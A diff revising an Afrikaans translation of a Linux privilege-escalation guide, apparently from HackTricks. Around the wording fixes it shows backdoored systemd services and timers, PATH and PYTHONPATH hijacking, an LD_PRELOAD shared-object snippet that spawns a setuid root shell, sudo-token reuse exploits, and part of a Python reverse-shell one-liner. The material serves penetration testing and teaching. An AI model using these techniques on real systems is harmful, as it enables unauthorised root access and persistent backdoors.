'n skrip wat deur jou beheer word, bedien. +As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, mag dit nuttig wees om daardie gids te verwyder en **'n simboliese skakelgids na 'n ander een te skep** wat 'n skrip wat deur jou beheer word, bedien. ```bash ln -d -s ``` @@ -380,32 +380,32 @@ Dit is moontlik om 'n cronjob te skep **wat 'n terugkeerkarakter na 'n opmerking ### Skryfbare _.service_ lêers -Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\ -Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** +Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **terugdeur** **uitvoer** wanneer die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\ +Byvoorbeeld, skep jou terugdeur binne die .service lêer met **`ExecStart=/tmp/script.sh`** ### Skryfbare diens binaire -Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **skryfregte oor binaire** wat deur dienste uitgevoer word het, jy hulle kan verander vir terugdeure sodat wanneer die dienste weer uitgevoer word, die terugdeure uitgevoer sal word. ### systemd PAD - Relatiewe Pade -Jy kan die PAD wat deur **systemd** gebruik word, sien met: +Jy kan die PAD wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -As jy vind dat jy kan **skryf** in enige van die vouers van die pad, mag jy in staat wees om **privileges te verhoog**. Jy moet soek na **relatiewe paaie wat in dienskonfigurasie** lêers gebruik word soos: +As jy vind dat jy kan **skryf** in enige van die vouers van die pad, mag jy in staat wees om **privileges te eskaleer**. Jy moet soek na **relatiewe pades wat in dienskonfigurasie** lêers gebruik word soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad binêre** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). +Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). **Leer meer oor dienste met `man systemd.service`.** ## **Timers** -**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone loop. +**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word. Jy kan al die timers opnoem met: ```bash @@ -413,7 +413,7 @@ systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige instansies van systemd.unit (soos 'n `.service` of 'n `.target`) +As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige voorwerpe van systemd.unit (soos 'n `.service` of 'n `.target`) ```bash Unit=backdoor.service ``` @@ -424,7 +424,7 @@ In die dokumentasie kan jy lees wat die Eenheid is: Daarom, om hierdie toestemming te misbruik, moet jy: - Vind 'n systemd eenheid (soos 'n `.service`) wat **'n skryfbare binêre uitvoer** -- Vind 'n systemd eenheid wat **'n relatiewe pad uitvoer** en jy het **skryfbare regte** oor die **systemd PAD** (om daardie uitvoerbare te verteenwoordig) +- Vind 'n systemd eenheid wat **'n relatiewe pad uitvoer** en jy het **skryfbare regte** oor die **systemd PAD** (om daardie uitvoerbare te verpersoonlik) **Leer meer oor timers met `man systemd.timer`.** @@ -441,7 +441,7 @@ Let wel die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/ Unix Domain Sockets (UDS) stel **proses kommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers. -Sockets kan gekonfigureer word met `.socket` lêers. +Sockets kan gekonfigureer word met behulp van `.socket` lêers. **Leer meer oor sockets met `man systemd.socket`.** Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word: @@ -485,7 +485,7 @@ Let daarop dat daar dalk **sokke is wat luister na HTTP** versoeke (_Ek praat ni ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n sekuriteitskwesbaarheid** ontgin. +As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n sekuriteitskwessie** benut. ### Skryfbare Docker Socket @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) voorregverhoging -As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**: +As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**: {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** voorregverhoging -As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**: +As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**: {{#ref}} runc-privilege-escalation.md @@ -562,15 +562,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. -Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein sokke**. Boonop help dit om gebeurtenisse of seine te versprei, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn. +Die stelsel is veelsydig, wat basiese IPC ondersteun wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein sokette**. Boonop help dit om gebeurtenisse of seine te versprei, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn. D-Bus werk op 'n **toelaat/ontken model**, wat boodskaptoestemmings (metode-aanroepe, seinuitstralings, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregverhoging deur die uitbuiting van hierdie toestemmings toelaat. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker uiteensit om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. +'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker om te besit, na te stuur en boodskappe van `fi.w1.wpa_supplicant1` te ontvang, uiteensit. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" kontekstuele beleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "standaard" kontekstuele beleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -612,9 +612,9 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Oop poorte +### Ope poorte -Kontroleer altyd netwerkdienste wat op die masjien loop wat jy nie kon interaksie mee hê voordat jy toegang verkry het nie: +Kontroleer altyd netwerkdienste wat op die masjien loop wat jy nie kon interaksie mee hê nie voordat jy dit toegang verkry het: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -687,7 +687,7 @@ As jy **enige wagwoord** van die omgewing **ken, probeer om in te log as elke ge ### Su Brute -As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar teenwoordig, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. ## Skryfbare PATH misbruik @@ -698,7 +698,7 @@ As jy vind dat jy **binne 'n sekere gids van die $PATH kan skryf**, mag jy in st ### SUDO en SUID -Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-bietjie hê. Kontroleer dit met: +Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-biet hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -714,7 +714,7 @@ less>! ``` ### NOPASSWD -Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se regte uit te voer sonder om die wagwoord te ken. ``` $ sudo -l User demo may run the following commands on crashlab: @@ -732,7 +732,7 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwetsbaar** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word: +Hierdie voorbeeld, **gebaseer op HTB masjien Admirer**, was **kwulnerabel** vir **PYTHONPATH hijacking** om 'n arbitrêre python biblioteek te laai terwyl die skrip as root uitgevoer word: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -763,7 +763,7 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre)**. +Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag uitvoer sonder om die pad daarna toe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre)**. [Payload voorbeelde om uit te voer.](payloads-to-execute.md) @@ -785,9 +785,9 @@ Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde bi Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes: - Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_). -- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpade wat ook suid/sgid is, vooraf gelaai. +- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaard paaie wat ook suid/sgid is, vooraf gelaai. -Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede. +Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede. ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binêre – .so inspuiting -Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag te loop: +Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -853,13 +853,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie kode, wanneer dit gecompileer en uitgevoer word, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n skulp met verhoogde voorregte uit te voer. +Hierdie kode, wanneer dit gecompileer en uitgevoer word, is daarop gemik om voorregte te verhoog deur lêer toestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Uiteindelik, die uitvoering van die geraakte SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie toelaat. +Uiteindelik, die uitvoering van die aangetaste SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie moontlik maak. ## Gedeelde Objekt Hijacking ```bash @@ -901,13 +901,17 @@ Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo -As jy toegang kan kry tot `sudo -l`, kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te benut. +As jy toegang tot `sudo -l` kan kry, kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te benut. ### Hergebruik van Sudo Tokens @@ -918,13 +922,13 @@ Vereistes om voorregte te eskaleer: - Jy het reeds 'n shell as gebruiker "_sampleuser_" - "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15min** uit te voer (per standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om enige wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is toeganklik (jy kan dit oplaai) +- `gdb` is toeganklik (jy moet in staat wees om dit op te laai) (Jy kan tydelik `ptrace_scope` inskakel met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent `/etc/sysctl.d/10-ptrace.conf` wysig en `kernel.yama.ptrace_scope = 0` stel) As al hierdie vereistes nagekom word, **kan jy voorregte eskaleer met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root-shell kry nie, doen `sudo su`): +- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root shell kry nie, doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -935,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde eksploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo-tokenne ewigdurend maak en alle gebruikers toelaat om sudo te gebruik** +- Die **derde eksploit** (`exploit_v3.sh`) sal **n sudoers-lêer skep** wat **sudo-tokenne ewige maak en alle gebruikers toelaat om sudo te gebruik** ```bash bash exploit_v3.sh sudo su @@ -1002,7 +1006,7 @@ Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vanda Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` gaan soek**. -As om een of ander rede **'n gebruiker skryfregte** op enige van die aangeduide pades het: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\ +As om een of ander rede **'n gebruiker skryfregte het** op enige van die aangeduide pades: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\ Kyk na **hoe om hierdie miskonfigurasie te benut** op die volgende bladsy: {{#ref}} @@ -1044,7 +1048,7 @@ execve(file,argv,0); ``` ## Vermoëns -Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag.\ +Linux vermoëns bied 'n **substel van die beskikbare wortelregte aan 'n proses**. Dit breek effektief wortel **regte op in kleiner en kenmerkende eenhede**. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel regte verminder, wat die risiko van uitbuiting verlaag.\ Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**: {{#ref}} @@ -1058,7 +1062,7 @@ Die **"lees"** bit impliseer dat die gebruiker kan **lys** die **lêers**, en di ## ACLs -Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer- of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word. +Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word. **Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer: ```bash @@ -1071,14 +1075,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Open shell sessions +## Oopmaak van skaal sessies In **ou weergawe** kan jy **hijack** sommige **shell** sessies van 'n ander gebruiker (**root**).\ -In **nuutste weergawes** sal jy in staat wees om slegs aan skerm sessies van **jou eie gebruiker** te **verbinde**. Jy kan egter **interessante inligting binne die sessie** vind. +In **nuutste weergawes** sal jy in staat wees om slegs aan skaal sessies van **jou eie gebruiker** te **verbinde**. Tog kan jy **interessante inligting binne die sessie** vind. -### screen sessions hijacking +### skaal sessies hijacking -**Lys skerm sessies** +**Lys skaal sessies** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1120,7 +1124,7 @@ Kontroleer **Valentine box van HTB** vir 'n voorbeeld. ### Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166 Alle SSL en SSH sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, mag deur hierdie fout geraak word.\ -Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh publieke sleutel kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante konfigurasiewaarde @@ -1130,24 +1134,24 @@ Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep wo ### PermitRootLogin -Gee aan of root met ssh kan aanmeld, die standaard is `no`. Moontlike waardes: +Gee aan of root kan aanmeld met ssh, die standaard is `no`. Moontlike waardes: - `yes`: root kan aanmeld met wagwoord en private sleutel -- `without-password` of `prohibit-password`: root kan slegs met 'n private sleutel aanmeld -- `forced-commands-only`: Root kan slegs met 'n private sleutel aanmeld en as die opdragopsies gespesifiseer is -- `no` : nee +- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel +- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is +- `no` : geen ### AuthorizedKeysFile -Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld: +Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Die konfigurasie sal aandui dat as jy probeer om in te log met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk. +Die konfigurasie sal aandui dat as jy probeer om aan te meld met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te **spring** via ssh **na 'n gasheer** en van daar af **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is. +SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om **te spring** via ssh **na 'n gasheer** en van daar **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is. Jy moet hierdie opsie in `$HOME/.ssh.config` soos volg stel: ``` @@ -1156,7 +1160,7 @@ ForwardAgent yes ``` Let wel dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is). -Die lêer `/etc/ssh_config` kan **oorskry** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ +Die lêer `/etc/ssh_config` kan **oorskryf** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**: @@ -1223,7 +1227,7 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word. +Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin. ### Kontroleer Gidsen @@ -1252,7 +1256,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB lêrs +### Sqlite DB lêrsels ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1288,7 +1292,7 @@ Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalat ### Logs As jy logs kan lees, mag jy in staat wees om **interessante/vertroulike inligting daarin te vind**. Hoe meer vreemd die log is, hoe meer interessant sal dit wees (waarskynlik).\ -Ook, sommige "**slegte**" geconfigureerde (backdoored?) **audit logs** mag jou toelaat om **wagwoorde** binne audit logs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ook, sommige "**slegte**" geconfigureerde (terugdeur?) **ouditlogs** mag jou toelaat om **wagwoorde** binne ouditlogs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1323,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate uitbuiting -'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer gidse potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word. +'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer directories potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in directories soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige directory waar logrotasie toegepas word. > [!NOTE] > Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer @@ -1332,17 +1336,17 @@ Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie die logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met simboliese skakels te vervang. +Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie die logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met symlinks te vervang. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Kwetsbaarheid verwysing:** 